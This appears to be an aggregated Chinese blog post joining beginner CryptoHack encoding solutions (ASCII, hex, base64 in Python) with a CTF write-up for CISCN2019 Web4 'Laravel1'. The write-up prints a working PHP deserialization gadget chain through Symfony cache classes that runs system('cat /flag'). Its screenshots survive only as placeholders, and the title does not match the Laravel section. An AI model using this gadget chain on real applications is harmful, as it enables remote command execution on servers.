cryptohack wp day

Posted Cryglz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了cryptohack wp day相关的知识,希望对你有一定的参考价值。

就从头开始吧

第一题 (ASCII)

一道简单的ASCII码转换,直接用题目的提示代码解就行了
ascii=[99, 114, 121, 112, 116, 111, 123, 65, 83, 67, 73, 73, 95, 112, 114, 49, 110, 116, 52, 98, 108, 51, 125]
flag=""
for i in ascii:
    flag+=chr(i)
print(flag)

第二题(Hex)

      Hex编码的原理就是将原来8位的二进制字节打断,分成两个4位的,并且在前面加上4个零,进行补位这样一个8位二进制字节就变成了2个8位的二进制字节,在将新得到的2个二进制字符进行16位进制转换得到的新的16位字符串就是Hex的值。

       hex编码就是16进制编码,是字符的[ascii码](https://so.csdn.net/so/search?q=ascii码&spm=1001.2101.3001.7020)值的16进制表示,所以解码时一般先转为ascii码,后转为字符串形式。


代码如下:

import binascii
hex =\'63727970746f7b596f755f77696c6c5f62655f776f726b696e675f776974685f6865785f737472696e67735f615f6c6f747d\'

print(bytes.fromhex(hex))

print(binascii.a2b_hex(hex))

或者

from Crypto.Util.number import *
import libnum
hex =0x63727970746f7b596f755f77696c6c5f62655f776f726b696e675f776974685f6865785f737472696e67735f615f6c6f747d
print(libnum.n2s(int(hex)))##注意,libnum库中将16进制转字符串时,必须转为int类型,不然会报错
print(long_to_bytes(hex))

像这题题,可以应用python的很多库,如libnum库,binascii库,等等。

第三题(base64)


代码如下:

import base64
from Crypto.Util.number import *
hex =0x72bca9b68fc16ac7beeb8f849dca1d8a783e8acf9679bf9269f7bf
base = long_to_bytes(hex)
flag=base64.b64encode(base)
print(flag)

先解16进制码为字节,然后再解base64

第四题


密文:11515195063862318899931685488813747395775516287289682636499965282714637259206269
代码如下:

from Crypto.Util.number import *
import libnum
s = 11515195063862318899931685488813747395775516287289682636499965282714637259206269
print(long_to_bytes(s))
print(libnum.n2s(s))

[CISCN2019 总决赛 Day1 Web4]Laravel1

[CISCN2019 总决赛 Day1 Web4]Laravel1在这里插入图片描述

界面如上,比较单一:

指出了反序列化的点:还有备份文件。

下面反序列化的入口:
在这里插入图片描述就当找到了吧:
在这里插入图片描述确实可以跳转:
在这里插入图片描述可控:
在这里插入图片描述寻找这个类,看是否被调用:
在这里插入图片描述在这里插入图片描述
开始寻找使用了saveDeferred类的:

看别人的WP这个是唯一可以使用的:
在这里插入图片描述
调用了本类的initialise方法,但前文并没有定义,据其他WP说是会去父类找,

偷一张其继承关系的图:
在这里插入图片描述查询得到其主要父类,尝试全局搜索initialise()
在这里插入图片描述
include可以使用:
在这里插入图片描述那么在之前的那个PhpArrayAdapter.php中定义好$this->file,只要其存在就能包含出来:

贴exp:

<?php

namespace Symfony\\Component\\Cache\\Adapter;

class TagAwareAdapter{
    public $deferred = array();
    function __construct($x){
        $this->pool = $x;
    }
}

class ProxyAdapter{
    protected $setInnerItem = 'system';
}

namespace Symfony\\Component\\Cache;

class CacheItem{
    protected $innerItem = 'cat /flag';
}

$a = new \\Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter(new \\Symfony\\Component\\Cache\\Adapter\\ProxyAdapter());
$a->deferred = array('aa'=>new \\Symfony\\Component\\Cache\\CacheItem);
echo urlencode(serialize($a));

使用:

还有问题未解决,等待了解:理解的太浅显了:
在这里插入图片描述

以上是关于cryptohack wp day的主要内容,如果未能解决你的问题,请参考以下文章

cryptohack wp day

cryptohack wp day

cryptohack wp day

Cryptohack wp (GENERAL篇)

cryptohack wp (CRYPTO ON THE WEB篇)(持续更新)

WP-2021祥云杯